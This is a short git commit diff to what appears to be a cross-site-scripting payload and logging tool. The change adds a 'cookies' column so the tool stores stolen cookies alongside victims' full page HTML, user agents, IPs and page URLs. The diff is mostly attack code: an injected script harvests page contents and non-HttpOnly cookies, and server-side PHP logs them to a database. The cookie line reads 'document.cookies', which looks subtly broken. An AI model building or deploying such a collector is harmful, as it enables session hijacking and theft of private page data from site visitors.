Missed the cookie column

This commit is contained in:
strawp 2017-01-13 12:37:11 +00:00
parent 51a3a1c4b5
commit 6e4b5b6126

View file

@ -30,7 +30,7 @@
$db_host = 'localhost';
// Use this SQL to set up the DB
// CREATE TABLE log ( id int NOT NULL AUTO_INCREMENT, logtime DATETIME, method varchar(10), pageurl varchar(255), scripturl varchar(255), useragent varchar(255), userip varchar(20), html TEXT, PRIMARY KEY (id) )
// CREATE TABLE log ( id int NOT NULL AUTO_INCREMENT, logtime DATETIME, method varchar(10), pageurl varchar(255), scripturl varchar(255), cookies varchar(255), useragent varchar(255), userip varchar(20), html TEXT, PRIMARY KEY (id) )
$url = 'http';
if( !empty( $_SERVER['HTTPS'] ) ){
@ -65,7 +65,7 @@
info.html = document.documentElement.outerHTML;
// Any non HttpOnly cookies present
info.cookie = document.cookies
info.cookies = document.cookies
document.documentElement.innerHTML += 'A';
if( !document.getElementById('frame_xss') ){
@ -124,7 +124,7 @@
$info->logtime = date('Y-m-d H:i:s');
$aProperties = array( 'logtime', 'method', 'pageurl', 'scripturl', 'useragent', 'userip', 'html' );
$aProperties = array( 'logtime', 'method', 'pageurl', 'scripturl', 'cookies', 'useragent', 'userip', 'html' );
// Log this request
if( $logging == 'file' ){